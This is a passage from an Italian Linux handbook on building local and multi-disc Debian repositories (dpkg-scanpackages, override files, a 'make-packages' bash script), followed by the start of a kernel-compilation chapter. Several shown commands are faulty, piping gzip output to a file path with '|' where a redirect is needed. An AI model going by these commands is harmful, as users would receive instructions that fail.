            # Si elimina l'archivio del pacchetto più vecchio.
            #
            rm -f "$ARCHIVIO1"
            echo "Eliminato $ARCHIVIO1"
            #
            # In questo caso, non occorre spostare i valori nelle
            # variabili.
            #
        else
            #
            # Questo caso non dovrebbe verificarsi.
            #
            echo "C'è un errore nel confronto degli archivi seguenti:"
            echo "    $ARCHIVIO0"
            echo "    $ARCHIVIO1"
            echo
            #
            # In questo caso, non occorre spostare i valori nelle
            # variabili.
```

```
            #
        fi
    else
        #
        # Dal momento che i pacchetti sono differenti, si devono
        # salvare le variabili prima di procedere.
        #
        ARCHIVIO0="$ARCHIVIO1"
        PACCHETTO0="$PACCHETTO1"
        VERSIONE0="$VERSIONE1"
        ARCHITETTURA0="$ARCHITETTURA1"
    fi
done
#
```

7.11.3 Distribuzione completa su un supporto unico

Per comprendere come realizzare una copia locale della distribuzione GNU/Linux Debian, occorre andare per gradi, partendo dal caso in cui questa è disponibile completamente in un supporto unico, per poi arrivare a comprendere le differenze che si devono introdurre per ottenere una versione distribuita su più unità di memorizzazione.

Si suppone che l'utente '**`tizio`**' voglia predisporre una copia locale della distribuzione Debian, a partire dalla directory '`/home/tizio/DEBIAN/`'. La struttura minima che dovrebbe articolarsi a partire da questa directory è quella che si vede nella figura 7.60.

Figura 7.60. Struttura minima di una distribuzione GNU/Linux Debian organizzata in modo da utilizzare un supporto unico.

```
debian/
  |-- dists/
  |      |-- stable --> ../codename
  |      |
  |      `-- codename/
  |             |
  |             |-- main/
  |             |      |-- disks-arch/
  |             |      |      `-- current/
  |             |      |
  |             |      `-- binary-arch/
  |             |             |-- Packages
  |             |             |-- Packages.gz
  |             |             |-- admin/
  |             |             |-- base/
  |             |             |-- comm/
  |             |             :
  |             |
  |             |-- contrib/
  |             |      |
  |             |      `-- binary-arch/
  |             |             |-- Packages
  |             |             |-- Packages.gz
  |             |             :
  |             |
  |             |-- non-free/
  |             |      :
  |             |
  |             |-- non-US/
  |             |      :
  |             |
  |             `-- local/
  |                    :
  |
  `-- indices/
         `-- override.gz
```

In breve, viene descritto il senso di questa struttura.

- La directory '`debian/dists/stable/main/disks-i386/current/`' contiene i file delle immagini dei dischetti (per l'architettura x86) da utilizzare per avviare l'installazione e per riprodurre il sistema minimo precedente alla selezione dei pacchetti.
- Le directory '`debian/dists/stable/*/binary-i386/`' contengono la gerarchia finale dei pacchetti di ogni gruppo ('`main/`', '`contrib/`', '`non-free/`', '`non-US/`' e '`local/`'), che potrebbe essere suddivisa o meno in sezioni ('`admin/`', '`base/`', ecc.). Da quel punto, poi, si inseriscono gli archivi Debian.

- I file 'Packages' e 'Packages.gz', contenuti nelle directory 'debian/dists/stable/*/binary-i386/', sono indispensabili per fornire ai programmi come Dselect e APT le informazioni importanti sui pacchetti.
- Il file, o i file 'debian/indices/override*.gz' servono per ricostruire correttamente i file 'Packages'.

Il problema nella riproduzione di una distribuzione Debian sta nella creazione dei file 'Packages' (e di conseguenza anche 'Packages.gz'). Per arrivare a questo risultato, occorre definire una stringa che serva a individuare la distribuzione, per esempio:

```
Debian GNU/Linux 2.1 slink personalizzata
```

Inoltre occorre un file *override* ('debian/indices/override.gz' o un altro nome simile), contenente l'abbinamento tra i pacchetti, la priorità e la classificazione in sezioni, come nell'estratto seguente:

```
at              important       admin
cron            important       admin
locales         standard        admin
ncurses-term    standard        admin
acct            optional        admin
adjtimex        optional        admin
    ...
adduser         required        base
ae              required        base
amiga-fdisk     required        base
    ...
lilo            important       base
silo            important       base
    ...
newt0.25        optional        base
ppp             optional        base
pppconfig       optional        base
syslinux        optional        base
    ...
```

Infine occorrono i pacchetti, che si trovano lì dove sono. I file *override* vanno prelevati da una delle varie riproduzioni speculari, tenendo presente che possono essere aggiornati frequentemente. Di solito, questi file sono suddivisi in base ai raggruppamenti principali in cui si articola una versione: 'main/', 'contrib/',... Per semplificare le operazioni, può convenire la realizzazione di un file unico, come è stato mostrato nella struttura di esempio. A questo file si fa riferimento come 'override.gz'.

I file *override* originali della distribuzione '**slink**' hanno i nomi: 'override.slink.gz', 'override.slink.contrib.gz', 'override.slink.non-free.gz' e 'override.slink.non-US.gz'. Per realizzare la propria copia della distribuzione, nulla vieta di fonderli tutti assieme in un file unico, come descritto in questi esempi, dove si fa riferimento a un solo file 'override.gz'.

Disponendo di questo materiale, si può utilizzare '**dpkg-scanpackages**' per rigenerare i file 'Packages'. Eventualmente si può vedere la pagina di manuale *dpkg-scanpackages(8)*.

```
tizio$ cd /home/tizio/DEBIAN/debian [Invio]
```

Ci si posiziona nella directory principale della distribuzione.

```
tizio$ dpkg-scanpackages ↩
↪      -m "Debian GNU/Linux 2.1 slink personalizzata" ↩
↪      dists/stable/main/binary-i386 indices/override.gz ↩
↪      > dists/stable/main/binary-i386/Packages [Invio]
```

Si genera il file 'Packages' per il gruppo di pacchetti della classificazione 'main/' (il comando è stato mostrato suddiviso su più righe per motivi tipografici).

```
tizio$ cat dists/stable/main/binary-i386/Packages ↩
↪      | gzip | dists/stable/main/binary-i386/Packages.gz [Invio]
```

Si genera il file 'Packages.gz', comprimendo 'Packages' creato precedentemente.

In seguito, si fa la stessa cosa per i raggruppamenti 'contrib/', 'non-free/', 'non-US/' e 'local/'.

> Anche se alcuni di questi raggruppamenti non vengono utilizzati, nel senso che non si vogliono tenere pacchetti che vi appartengano, è molto importante che siano predisposte le directory vuote e anche i file 'Packages*', per facilitare le operazioni con Dselect e APT.

Il programma '**dpkg-scanpackages**' può generare delle segnalazioni di errore, in particolare quando trova un pacchetto che non è indicato nel file *override*. In generale questo non provoca conseguenze gravi, tranne la mancanza di qualche informazione per quel pacchetto.

L'esempio seguente è un estratto di uno dei file 'Packages', dove si vede la descrizione del pacchetto '**wget**'. Si deve osservare in particolare che le informazioni dei campi '**Priority**' e '**Section**' sono state determinate in base al file *override*, mentre la descrizione del campo '**X-Medium**' è stata ottenuta dall'opzione '**-m**' di '**dpkg-scanpackages**'.

```
Package: wget
Version: 1.5.3-1.1
Priority: optional
Section: web
Maintainer: Nicolás Lichtmaier <nick@feedback.net.ar>
Depends: libc6
Architecture: i386
Filename: dists/stable/main/binary-i386/wget_1.5.3-1.1.deb
Size: 221932
MD5sum: 323962a35dabbf88edfe665ad70eb382
Description: utility to retrieve files from the WWW via HTTP and FTP
 Wget [formerly known as Geturl] is a freely available network utility
 to retrieve files from the World Wide Web using HTTP and FTP, the two
 most widely used Internet protocols.  It works non-interactively, thus
 enabling work in the background, after having logged off.
 .
 The recursive retrieval of HTML pages, as well as FTP sites is
```

```
  supported -- you can use Wget to make mirrors of archives and home
  pages, or traverse the web like a WWW robot (Wget understands
  /robots.txt).
 installed-size: 535
 X-Medium: Debian GNU/Linux 2.1 slink personalizzata
```

Per accedere facilmente a questa distribuzione locale, basta configurare APT attraverso il file '`/etc/apt/sources.list`':

```
deb file:/home/tizio/DEBIAN/debian stable main contrib non-free non-US local
```

Se le dimensioni lo consentono, si può trasferire una copia della gerarchia '`/home/tizio/DEBIAN/`' in un disco rimovibile, come un CD-ROM o un DVD-ROM.

7.11.4 Distribuzione suddivisa su diversi supporti

Se si vuole produrre un CD/DVD, o comunque si vuole fare una copia della distribuzione suddividendola in più supporti, le cose si complicano. Per prima cosa si deve iniziare da una copia locale organizzata già nelle suddivisioni che si vogliono ottenere. Supponendo di partire dalla directory '`/home/tizio/DEBIAN/`', conviene aggiungere altre sottodirectory ulteriori, una per ogni suddivisione che si vuole ottenere: '`1/`', '`2/`',...

La struttura della gerarchia che si articola a partire da queste sottodirectory deve essere la stessa, anche quando alcuni gruppi di pacchetti ('`main/`', '`contrib/`', ecc.) risultano senza archivi. La figura 7.65 mostra evidenziate le varianti rispetto al modello già mostrato.

Figura 7.65. Struttura minima di una distribuzione GNU/Linux Debian organizzata in modo da utilizzare più supporti.

```
debian/
   |-- .disk/
   |      `-- info
   |
   |-- local/
   |      `-- local --> ../stable/local
   |
   |-- dists/
   |      |-- stable --> ../codename
   |      |
   |      `-- codename/
   |             |-- main/
   |             |      |
   |             |      |-- disks-arch/
   |             |      |      `-- current/
   |             |      |
   |             |      `-- binary-arch/
   |             |             |-- Packages
   |             |             |-- Packages.gz
   |             |             |-- Packages.cd
   |             |             |-- Packages.cd.gz
   |             |             :
   |             |
   |             |-- contrib/
   |             |      :
   |             |
   |             |-- non-free/
   |             |      :
   |             |
   |             |-- non-US/
   |             |      :
   |             |
   |             `-- local/
   |                    :
   |
   `-- indices/
          `-- override.gz
```

Rispetto alla situazione precedente, si aggiunge il file '`debian/.disk/info`', che deve contenere la stringa di descrizione del supporto, una cosa simile ai due esempi seguenti:

```
Debian GNU/Linux 2.1 slink personalizzata disco 1
```

```
Debian GNU/Linux 2.1 slink personalizzata disco 2
```

Nelle directory '`debian/dists/stable/*/binary-i386/`' appaiono dei file nuovi:

'Packages.cd' e 'Packages.cd.gz'. Infine, il raggruppamento di pacchetti '**local**', dovrebbe trovarsi nella directory 'debian/dists/local/local/'. Probabilmente, conviene realizzare un collegamento simbolico per portarlo nella collocazione normale.

I supporti distinti, vengono riconosciuti in base alla stringa contenuta nel file 'debian/.disk/info', che va scelta opportunamente e va utilizzata anche per la definizione del campo '**X-Medium**'.

Si comincia dalla preparazione dei file 'Packages' e 'Packages.gz', più o meno come è stato fatto nella situazione precedente:

```
tizio$ cd /home/tizio/DEBIAN/1/debian [Invio]

tizio$ dpkg-scanpackages -m `cat .disk/info` ↩
↪      dists/stable/main/binary-i386 indices/override.gz ↩
↪      > dists/stable/main/binary-i386/Packages [Invio]

tizio$ cat dists/stable/main/binary-i386/Packages ↩
↪      | gzip | dists/stable/main/binary-i386/Packages.gz [Invio]
```

Come prima, si fa la stessa cosa per gli altri gruppi di pacchetti e poi si ripete il procedimento per la copia contenuta nella directory '/home/tizio/DEBIAN/2/' (si suppone che si tratti di una suddivisione in due soli supporti):

```
tizio$ cd /home/tizio/DEBIAN/2/debian [Invio]

tizio$ dpkg-scanpackages -m `cat .disk/info` ↩
↪      dists/stable/main/binary-i386 indices/override.gz ↩
↪      > dists/stable/main/binary-i386/Packages [Invio]

tizio$ cat dists/stable/main/binary-i386/Packages ↩
↪      | gzip | dists/stable/main/binary-i386/Packages.gz [Invio]
```

Alla fine, si devono realizzare i file 'Packages.cd', che si compongono della somma dei file 'Packages' di ogni gruppo:

```
tizio$ cd /home/tizio/DEBIAN/ [Invio]

tizio$ cat 1/debian/dists/stable/main/binary-i386/Packages ↩
↪      2/debian/dists/stable/main/binary-i386/Packages ↩
↪      > 1/debian/dists/stable/main/binary-i386/Packages.cd [Invio]

tizio$ cat 1/debian/dists/stable/main/binary-i386/Packages ↩
↪      2/debian/dists/stable/main/binary-i386/Packages ↩
↪      > 2/debian/dists/stable/main/binary-i386/Packages.cd [Invio]

tizio$ cat 1/debian/dists/stable/main/binary-i386/Packages.cd ↩
↪      | gzip | 1/debian/dists/stable/main/binary-i386/Packages.cd.gz
[Invio]

tizio$ cat 2/debian/dists/stable/main/binary-i386/Packages.cd ↩
↪      | gzip | 2/debian/dists/stable/main/binary-i386/Packages.cd.gz
[Invio]
```

In pratica, i file 'Packages.cd' contengono le informazioni su tutti i pacchetti del proprio gruppo; sia quelli presenti effettivamente nel supporto, sia quelli che si trovano negli al-

tri. I programmi come Dselect distinguono il supporto in base al nome che gli è stato attribuito, indicato nel file '`debian/.disk/info`' e riportato nel campo '**`X-Medium`**' dei file '`Packages.cd*`'.

Per accedere facilmente a questa distribuzione locale, spezzata in due o più parti, basta configurare APT attraverso il file '`/etc/apt/sources.list`':

```
deb file:/home/tizio/DEBIAN/1/debian stable main contrib non-free non-US local
deb file:/home/tizio/DEBIAN/2/debian stable main contrib non-free non-US local
…
```

Per copiare le due strutture in dischi separati, basta trasferire una copia delle gerarchie '`/home/tizio/DEBIAN/*/`'.

7.11.5 Un esempio banalizzato, ma funzionante

Viene proposta in questa sezione un'organizzazione semplificata per ospitare i pacchetti Debian che si raccolgono qua e là. Si parte da una struttura, di alcuni file e directory, che per il momento viene semplificata:

```
.
|-- DIST
|-- Packages.cd.gz
|-- dists/
|   |-- 00 -> /tmp
|   |-- 01/
|   |-- 02/
|   `-- 03/
|-- indices/
|   |-- Maintainers.gz
|   |-- override.gz
|   `-- pubring.pgp
`-- make-packages
```

Si può osservare che la directory '`dists/00/`' è in realtà un collegamento simbolico alla directory temporanea ('`/tmp/`').

Il file '`DIST`' deve contenere una riga, con la denominazione della distribuzione, che eventualmente può limitarsi a essere:

```
Debian GNU/Linux
```

I file '`Packages.cd.gz`', '`indices/Maintainers.gz`' e '`indices/override.gz`' sono file compressi con '**`gzip`**', a partire da file completamente vuoti; il file '`indices/pubring.pgp`' è vuoto.

All'interno delle directory '`dists/01/`', '`dists/02/`' e '`dists/03/`' ci sono dei collegamenti simbolici identici nei tre casi:

```
.
|-- dists/
|   |-- 01/
|   |   |-- binary-all -> .
|   |   |-- binary-i386 -> .
|   |   |-- contrib -> .
|   |   |-- local -> .
|   |   |-- main -> .
|   |   |-- non-US -> .
|   |   `-- non-free -> .
:   :
```

Con questa struttura, si possono mettere i file degli archivi Debian nelle directory '`dists/01/`', '`dists/02/`' e '`dists/03/`', tenendo conto che in presenza di pacchetti doppi, ma con versione differente, quelli riferiti alla versione più vecchia vengono spostati a un livello precedente tramite uno script. In pratica, secondo questa sistemazione, i pacchetti che si raccolgono vanno inseriti soltanto nella directory '`dists/03/`', dalla quale i più vecchi vengono spostati automaticamente all'interno di '`dists/02/`', di '`dists/01/`' e di '`dists/00/`', ma dato che '`dists/00`' è in realtà un collegamento simbolico a '`/tmp/`', l'ultimo passaggio è semplicemente un modo per eliminarli. Così facendo, anche se si aggiornano i pacchetti, rimane una copia di scorta delle versioni precedenti.

Lo script che fa il lavoro è '**`make-packages`**', che va avviato mentre la directory corrente corrisponde all'inizio della struttura; pertanto va avviato così:

`$` **`./make-packages`** [*Invio*]

Lo script crea anche il file '`.disk/info`' e il file '`error-messages`' (una copia di questo file dovrebbe essere disponibile presso ⟨*allegati/make-packages*⟩).

Listato 7.72. Lo script '**`make-packages`**'.

```
#!/bin/sh
##
## make-packages
##
#
# la directory di partenza deve essere quella da cui si dirama la
# directory "dists/"
#
START_DIR=`pwd`
#
# Definisce il file da usare per i messaggi di errore e lo svuota.
#
ERROR_MESSAGES="$START_DIR/error-messages"
echo > $ERROR_MESSAGES
#
# Definisce il contenuto dei file ".disk/info"
# ATTENZIONE! il file ".disk/info" è obbligatorio per "dselect"!
#
DISTRIBUTION=`cat $START_DIR/DIST`
```

```
DATE=`date "+%Y.%m.%d %H:%M"`
rm -rf $START_DIR/.disk
mkdir $START_DIR/.disk
echo "$DISTRIBUTION $DATE" > $START_DIR/.disk/info
#
# Carica il nome che identifica i supporti.
# ATTENZIONE! il file ".disk/info" è obbligatorio per "dselect"!
#
MEDIA=`cat .disk/info`
#
# Dichiara la funzione che sistema i file.
#
function debian_arrange_files ()
{
    DISTRIBUTION="$1"
    PREVIOUS_LEVEL="$2"
    #
    # Inizializza le variabili di ambiente che servono per accumulare
    # i valori per il confronto.
    #
    ARCHIVE_0=""
    ARCHIVE_1=""
    #
    PACKAGE_0=""
    PACKAGE_1=""
    #
    VERSION_0=""
    VERSION_1=""
    #
    ARCHITECTURE_0=""
    ARCHITECTURE_1=""
    #
    CORRECT_NAME_0=""
    CORRECT_NAME_1=""
    #
    # Inizia il ciclo di scansione degli archivi Debian che si trovano
    # nella directory corrente.
    #
    for ARCHIVE_1 in *.deb
    do
        #
        # Se il nome è «*.deb», non ci sono file del genere.
        #
        if [ "$ARCHIVE_1" = "*.deb" ]
        then
            #
            # Non si fa nulla.
            #
```

```
        return
    fi
    #
    # Estrae il nome del pacchetto.
    #
    PACKAGE_1=`dpkg --field $ARCHIVE_1 package`
    #
    # Estrae la versione del pacchetto.
    #
    VERSION_1=`dpkg --field $ARCHIVE_1 version`
    #
    # Estrae il nome dell'architettura.
    #
    ARCHITECTURE_1=`dpkg --field $ARCHIVE_1 architecture`
    #
    # Compone il nome teorico.
    #
    CORRECT_NAME_1="${PACKAGE_1}_${VERSION_1}_${ARCHITECTURE_1}.deb"
    #
    # Confronta con il nome dell'archivio.
    #
    if [ "$CORRECT_NAME_1" != "$ARCHIVE_1" ]
    then
        #
        # I nomi sono differenti.
        #
        # Modifica il nome forzando la situazione (prima si usava
        # l'opzione -i).
        #
        echo "n" | mv -f "$ARCHIVE_1" "$CORRECT_NAME_1" 2> /dev/null
        echo "$ARCHIVE_1 ---> $CORRECT_NAME_1"
        #
        echo "$ARCHIVE_1 ---> $CORRECT_NAME_1" \
             >> $ERROR_MESSAGES
        #
        # Meglio annotare il nome nuovo nella variabile.
        #
        ARCHIVE_1="$CORRECT_NAME_1"
        #
    fi
    #
    # Confronta con il pacchetto precedente.
    #
    if [ "$PACKAGE_1" == "$PACKAGE_0" ]
    then
        if dpkg --compare-versions "$VERSION_1" eq "$VERSION_0"
        then
            #
```

```
            # Si tratta di un'anomalia in cui si deve intervenire a
            # mano.
            #
            echo "Same version: $ARCHIVE_0 $ARCHIVE_1"
            #
            echo "Same version: $ARCHIVE_0 $ARCHIVE_1"\
                 >> $ERROR_MESSAGES
            #
            # In questo caso, non occorre spostare i valori nelle
            # variabili.
            #
        elif dpkg --compare-versions "$VERSION_1" gt "$VERSION_0"
        then
            #
            # Si sposta l'archivio doppio nel livello precedente.
            #
            echo "$DISTRIBUTION/$ARCHIVE_0 --> $PREVIOUS_LEVEL"
            mv $ARCHIVE_0 ../$PREVIOUS_LEVEL/$ARCHIVE_0
            #
            # Sposta i valori nelle variabili.
            #
            ARCHIVE_0="$ARCHIVE_1"
            PACKAGE_0="$PACKAGE_1"
            ARCHITECTURE_0="$ARCHITECTURE_1"
            VERSION_0="$VERSION_1"
            CORRECT_NAME_0="$CORRECT_NAME_1"
            #
        elif dpkg --compare-versions "$VERSION_1" lt "$VERSION_0"
        then
            #
            # Si sposta l'archivio doppio nel livello precedente.
            #
            echo "$DISTRIBUTION/$ARCHIVE_1 --> $PREVIOUS_LEVEL"
            mv $ARCHIVE_1 ../$PREVIOUS_LEVEL/$ARCHIVE_1
            #
            # In questo caso, non occorre spostare i valori nelle
            # variabili.
            #
        else
            #
            # Questo caso non dovrebbe verificarsi.
            #
            echo "There is an error matching the following archives:"
            echo "    $ARCHIVE_0"
            echo "    $ARCHIVE_1"
            #
            echo "There is an error matching the following archives:"\
                 >> $ERROR_MESSAGES
```

```
                echo "    $ARCHIVE_0"\
                     >> $ERROR_MESSAGES
                echo "    $ARCHIVE_1"\
                     >> $ERROR_MESSAGES
                #
                # In questo caso, non occorre spostare i valori nelle
                # variabili.
                #
            fi
        else
            #
            # Dal momento che i pacchetti sono differenti, si devono
            # salvare le variabili prima di procedere.
            #
            ARCHIVE_0="$ARCHIVE_1"
            PACKAGE_0="$PACKAGE_1"
            ARCHITECTURE_0="$ARCHITECTURE_1"
            VERSION_0="$VERSION_1"
            CORRECT_NAME_0="$CORRECT_NAME_1"
            #
            # mostra cosa è stato fatto
            #
            echo "$PACKAGE_1"
        fi
    done
}
#
# Dichiara la funzione che esegue le operazioni ripetitive su
# ogni sezione di ogni distribuzione, per ogni disco.
#
function process_disk_distribution_section ()
{
    MEDIA="$1"
    DISTRIBUTION="$2"
    PREVIOUS_LEVEL="$3"
    SECTION="$4"
    #
    echo "$MEDIA, $DISTRIBUTION, $SECTION"
    #
    cd $START_DIR/dists/$DISTRIBUTION/$SECTION/binary-i386
    debian_arrange_files $DISTRIBUTION $PREVIOUS_LEVEL
    #
    cd $START_DIR
    dpkg-scanpackages                                           \
        dists/$DISTRIBUTION/$SECTION/binary-i386                \
        $START_DIR/indices/override.gz                          \
        > dists/$DISTRIBUTION/$SECTION/binary-i386/Packages     \
        2>> $ERROR_MESSAGES
```

```
    #
    cat dists/$DISTRIBUTION/$SECTION/binary-i386/Packages       \
        | gzip -9                                               \
        > dists/${DISTRIBUTION}/$SECTION/binary-i386/Packages.gz
}
#
# Funzione frontale.
#
function process_section () {
    DISTRIBUTION="$1"
    PREVIOUS_LEVEL="$2"
    SECTION="$3"
    #
    process_disk_distribution_section "$MEDIA" $DISTRIBUTION\
                                      $PREVIOUS_LEVEL $SECTION
    #
    # Prepara i file "Packages.cd" e "Packages.cd.gz"
    #
    cd $START_DIR
    #
    cat dists/$DISTRIBUTION/$SECTION/binary-i386/Packages       \
        > dists/$DISTRIBUTION/$SECTION/binary-i386/Packages.cd
    #
    cd $START_DIR/dists/$DISTRIBUTION/$SECTION/binary-i386
    cat Packages.cd | gzip -9 > Packages.cd.gz
    #
    cd $START_DIR
}
#
# Inizia il programma.
#
cd $START_DIR
#
process_section 03 02 main
process_section 02 01 main
process_section 01 00 main
```

7.12 Riferimenti

- Havoc Pennington, *Debian Tutorial*, 1999

  ⟨*http://www.debian.org/doc/manuals/debian-tutorial/* ⟩

- Susan G. Kleinmann, Sven Rudolph, Joost Witteveen, *The Debian GNU/Linux FAQ*, 1999

  ⟨*http://ftp.it.debian.org/debian/doc/FAQ/* ⟩

- Ian Jackson, Christian Schwarz, *Debian Policy Manual*, 1998
  ⟨http://www.debian.org/doc/debian-policy/⟩

[1] Quando si installa un programma fornito in forma già compilata per la propria piattaforma, si possono incontrare dei problemi se il pacchetto di distribuzione del programma non è stato predisposto specificatamente per l'organizzazione della propria distribuzione GNU, perché diversamente è prassi normale che il pacchetto in questione contenga tutte le informazioni sulle dipendenze e le eventuali incompatibilità.

[2] In fase di aggiornamento dei pacchetti di una distribuzione Debian, di norma si viene interrogati sul da farsi, a proposito della configurazione preesistente.

[3] **Dpkg** GNU GPL

[4] **Cruft** GNU GPL

[5] **Deborphan** GNU GPL o Artistic

[6] **Orphaner** GNU GPL o Artistic

[7] **Debconf** software libero con licenza speciale

[8] **Configure-debian** GNU GPL

[9] **Dselect** GNU GPL

[10] Per la precisione, si usa l'estensione '`.dpkg-dist`' quando il file in questione rappresenta la configurazione proposta dalla distribuzione, mentre si usa '`.dpkg-old`', quando il file rappresenta la configurazione precedente che è stata sostituita a seguito di una risposta affermativa da parte di colui che esegue l'aggiornamento.

[11] **APT** GNU GPL

[12] **Gnome APT** GNU GPL

Capitolo 8

Kernel Linux

8.1 Ricompilazione del kernel 293

8.2 Compilazione del kernel in una distribuzione GNU/Linux Debian 296

8.3 Elementi della configurazione 297

8.3.1 General setup 300
8.3.2 Enable loadable module support 301
8.3.3 Processor type and features 301
8.3.4 Power management options 302
8.3.5 Bus options 303
8.3.6 Executable file formats 304
8.3.7 Networking 304
8.3.8 Device drivers, parallel port support 308
8.3.9 Device drivers, plug and play support 308
8.3.10 Device drivers, block devices 308
8.3.11 Device drivers, ATA/ATAPI/MFM/RLL support 309
8.3.12 Device drivers, SCSI support 311
8.3.13 Device drivers, serial ATA and paralel ATA drivers 311
8.3.14 Device drivers, multi-device support 313
8.3.15 Device drivers, network device support 313
8.3.16 Device drivers, input device support 314
8.3.17 Device drivers, character devices 315
8.3.18 Device drivers, graphic support 317
8.3.19 Device drivers, sound 319
8.3.20 USB support 320
8.3.21 Filesystems 321
8.3.22 Kernel hacking 323

8.4 Come fare per configurare correttamente il kernel che si vuole compilare 323

8.5 Parametri di avvio del kernel Linux 325

8.5.1 File system principale (root) 325
8.5.2 Memoria 326
8.5.3 Varie 326
8.5.4 Interfacce di rete Ethernet 328

8.6 Gestione dei moduli 329

8.6.1 Dipendenza tra i moduli 329
8.6.2 Parametri 329
8.6.3 Utilizzo di «insmod» 330

8.6.4 Utilizzo di «rmmod» 330
8.6.5 Utilizzo di «lsmod» 331
8.6.6 Utilizzo di «depmod» 332
8.6.7 Utilizzo di «modprobe» 332

8.7 Configurazione dei moduli 334

8.7.1 Direttiva alias 334
8.7.2 Direttiva options 335

8.8 File di dispositivo 335

8.8.1 Creazione dei file di dispositivo 336
8.8.2 kernel Linux e uDev 337
8.8.3 Messaggio: «unable to open an initial console» 341

8.9 Disco RAM iniziale: Initrd 341

8.9.1 Teoria e visione generale 342
8.9.2 Creazione automatica di un disco RAM iniziale 344
8.9.3 Esempio di un disco RAM iniziale 344

8.10 Combinazioni magiche con «R sist», ovvero «SysRq» 346

8.11 Riferimenti 348

`depmod` 332 `insmod` 330 `lsmod` 331 `MAKEDEV` 336 `make-kpkg` 296 `mkinitrd` 344 `mknod` 336 `modprobe` 332 `rmmod` 330 `udevd` 337

Il kernel è il nocciolo del sistema operativo: i programmi utilizzano le funzioni fornite dal kernel e in questa maniera sono sollevati dall'agire direttamente con la CPU. Il kernel Linux è costituito da un file principale, il cui nome può essere '`vmlinuz`', oppure '`zImage`', '`bzImage`' e altri ancora, ma può comprendere anche moduli aggiuntivi per la gestione di componenti hardware specifici che devono poter essere attivati e disattivati durante il funzionamento del sistema.

Quando si fa riferimento a un kernel in cui tutte le funzionalità che servono sono incluse nel file principale, si parla di kernel monolitico, mentre quando parte di queste sono demandate a moduli esterni, si parla di kernel modulare. Il kernel monolitico ha il vantaggio di avere tutto in un file, ma nello stesso modo è rigido e non permette di liberare risorse quando le unità periferiche gestite non servono. Il kernel modulare ha il vantaggio di poter disattivare e riattivare i moduli a seconda delle esigenze, in particolare quando moduli distinti gestiscono in modo diverso lo stesso tipo di unità periferica. Tuttavia, a causa della frammentazione in molti file, l'uso dei moduli può essere fonte di errori.

In generale, chi fa per la prima volta l'esperienza di compilarsi un kernel personalizzato, farebbe bene a cominciare incorporando tutto nel file principale, lasciando per una fase successiva la suddivisione in moduli delle funzionalità che possono essere separate da quello. In altri termini, la compilazione dei kernel modulari dovrebbe essere riservata agli utilizzatori che hanno già un'esperienza sufficiente nella gestione dei kernel monolitici.

8.1 Ricompilazione del kernel

Le distribuzioni GNU/Linux tendono a fornire agli utilizzatori un kernel modulare per usi generali. Anche se questo tipo di kernel si adatta sicuramente alla maggior parte delle configurazioni, ci sono situazioni particolari dove è preferibile costruire un proprio kernel, monolitico o modulare che sia. Per poter comprendere il procedimento di compilazione del kernel Linux, occorre sapere come si compila e si installa un programma tipico distribuito in forma sorgente, come descritto nella sezione 7.1.

Per poter procedere alla compilazione del kernel è necessario avere installato gli strumenti di sviluppo software, cioè il compilatore e i sorgenti del kernel. In particolare, i sorgenti del kernel possono anche essere reperiti presso vari siti, ma principalmente da ⟨http://www.kernel.org⟩. Il numero di versione del kernel Linux è strutturato in tre o quattro livelli: ***w.x.y.z***, dove il primo, ***w***, rappresenta il valore più importante, mentre l'ultimo, *z*, rappresenta quello meno importante. Ciò che conta, è porre attenzione al secondo valore: ***x***. Se si tratta di un numero pari, la versione si riferisce a un kernel ritenuto sufficientemente stabile, mentre un numero dispari rappresenta una versione destinata agli sviluppatori e non ritenuta adatta per l'utilizzo normale.

Se i sorgenti sono stati installati come parte di una distribuzione, questi potrebbero trovarsi da qualche parte a partire da '`/usr/src/`', ma la loro compilazione non richiede una collocazione particolare nel file system, tanto che anche un utente comune, senza privilegi, può farlo, collocando i sorgenti nell'ambito della propria directory personale. In particolare, la distribuzione GNU/Linux Debian si limita a piazzare un archivio (un file compresso) nella directory '`/usr/src/`', lasciando all'utente il compito di estrarlo dove meglio crede.

Riquadro 8.1. Procedura superata.

Nelle prime versioni del kernel Linux è stata utilizzata una procedura che attualmente è bene evitare di adottare. L'elenco seguente serve a sottolineare il fatto che nulla di tutto questo va fatto:

- i sorgenti venivano estratti in modo da iniziare dalla directory '`/usr/src/linux/`', spesso con l'aiuto di un collegamento simbolico, se erano disponibili diverse versioni affiancate;
- venivano creati o modificati tre collegamenti simbolici contenuti nella directory '`/usr/include/`':
  - '`/usr/include/asm`' --> '`/usr/src/linux/include/asm-i386/`'
  - '`/usr/include/linux`' --> '`/usr/src/linux/include/linux/`'
  - '`/usr/include/scsi`' --> '`/usr/src/linux/include/scsi`'

Si parte con l'estrazione dell'archivio che contiene i sorgenti; naturalmente l'utente deve estrarre l'archivio in una posizione in cui gli sia concesso di farlo in base ai permessi che lo riguardano. Va tenuto presente che i sorgenti possono essere compilati da un utente comune, anche se poi questo potrebbe non avere la facoltà di installare effettivamente il kernel prodotto in questo modo.

```
$ tar xjvf linux-w.x.y.z.tar.bz2 [Invio]
```

Una volta estratti i sorgenti del kernel, si può passare alla configurazione che precede la compilazione. Per questo, ci si posiziona nella directory dei sorgenti; quindi, dopo aver letto il file '`README`', si può procedere.

```
$ cd linux-w.x.y.z [Invio]
```

La directory corrente deve essere quella a partire dalla quale si diramano i sorgenti del kernel.

`$ make mrproper` [*Invio*]

Il comando '**`make mrproper`**' serve a eliminare file e collegamenti vecchi che potrebbero interferire con una nuova compilazione. In particolare, **elimina la configurazione data in precedenza** alla compilazione del kernel.

`$ make defconfig` [*Invio*]

La prima volta che si procede a definire i contenuti di un proprio kernel, conviene partire da una configurazione predefinita, ottenibile con il comando '**`make defconfig`**', appena mostrato. In pratica si ottiene un file '`.config`' con la selezione delle voci ritenute fondamentali. Successivamente si passa alla fase di configurazione:

`$ make menuconfig` [*Invio*]

Questa è l'operazione più delicata attraverso la quale si definiscono le caratteristiche e i componenti del kernel che si vuole ottenere. Ogni volta che la si esegue, viene riutilizzato il file '`.config`' contenente la configurazione impostata precedentemente, mentre alla fine la nuova configurazione viene salvata nello stesso file. Di conseguenza, ripetendo il procedimento '**`make config`**', le scelte predefinite corrispondono a quelle effettuate precedentemente.[1]

Il comando '**`make mrproper`**' elimina il file '`.config`', quindi si deve fare attenzione a non eseguire tale comando se non è questa l'intenzione.

Figura 8.2. Il menù principale della configurazione del kernel attraverso il comando '**`make menuconfig`**'.

```
.---------------------- Linux Kernel Configuration -----------------------.
|  Arrow keys navigate the menu.  <Enter> selects submenus --->.           |
|  Highlighted letters are hotkeys.  Pressing <Y> includes, <N> excludes, |
|  <M> modularizes features.  Press <Esc><Esc> to exit, <?> for Help, </> |
